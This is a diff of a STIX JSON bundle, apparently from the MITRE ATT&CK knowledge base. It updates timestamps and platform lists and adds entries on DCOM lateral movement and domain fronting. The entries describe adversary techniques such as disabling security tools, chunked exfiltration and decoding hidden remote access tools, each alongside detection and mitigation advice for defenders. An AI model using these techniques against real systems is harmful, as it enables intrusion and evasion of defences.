             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Transfer Size Limits Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -3847,9 +3542,9 @@
             "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:34.523Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Transfer Size Limits",
-            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3879,29 +3574,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Local System Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -3942,9 +3625,9 @@
             "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:20.537Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Local System",
-            "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories",
+            "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -3966,33 +3649,21 @@
                 "Process monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_system_requirements": [
                 "Privileges to access certain files and directories"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Network Shared Drive Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -4033,9 +3704,9 @@
             "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:41.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Network Shared Drive",
-            "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive",
+            "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4057,33 +3728,21 @@
                 "Process monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_system_requirements": [
                 "Privileges to access network shared drive"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--39706d54-0d06-4a25-816a-78cc43455100",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Removable Media Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -4124,9 +3783,9 @@
             "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:31.584Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Removable Media",
-            "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files",
+            "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4148,33 +3807,21 @@
                 "Process monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_system_requirements": [
                 "Privileges to access removable media drive and files"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deobfuscate/Decode Files or Information Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -4215,9 +3862,9 @@
             "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deobfuscate/Decode Files or Information",
-            "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
+            "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4247,36 +3894,25 @@
                 "Process Monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_defense_bypassed": [
                 "Anti-virus",
                 "Host intrusion prevention systems",
                 "Signature-based detection",
                 "Network intrusion detection system"
             ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disabling Security Tools Mitigation",
             "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.",
             "external_references": [
@@ -4292,9 +3928,9 @@
             "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:07.958Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disabling Security Tools",
-            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis",
+            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4327,31 +3963,206 @@
                 "Log analysis"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Distributed Component Object Model Mitigation",
+            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1175",
+                    "external_id": "T1175"
+                },
+                {
+                    "source_name": "Microsoft COM",
+                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
+                },
+                {
+                    "source_name": "Microsoft Process Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Microsoft System Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Microsoft Disable DCOM",
+                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc771387.aspx"
+                },
+                {
+                    "source_name": "Microsoft Protected View",
+                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
+                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Distributed Component Object Model",
+            "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "lateral-movement"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1175",
+                    "external_id": "T1175"
+                },
+                {
+                    "source_name": "Microsoft COM",
+                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
+                },
+                {
+                    "source_name": "Microsoft Process Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Microsoft System Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
+                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
+                },
+                {
+                    "source_name": "Enigma MMC20 COM Jan 2017",
+                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
+                },
+                {
+                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
+                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
+                },
+                {
+                    "source_name": "Enigma Excel DCOM Sept 2017",
+                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
+                },
+                {
+                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
+                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
+                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Authentication logs",
+                "DLL monitoring",
+                "Packet capture",
+                "Process monitoring",
+                "Windows Registry",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Domain Fronting Mitigation",
+            "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1172",
+                    "external_id": "T1172"
+                },
+                {
+                    "source_name": "Mandiant No Easy Breach",
+                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
+                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
+                },
+                {
+                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017",
+                    "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29%20domain%20frontin.html"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Domain Fronting",
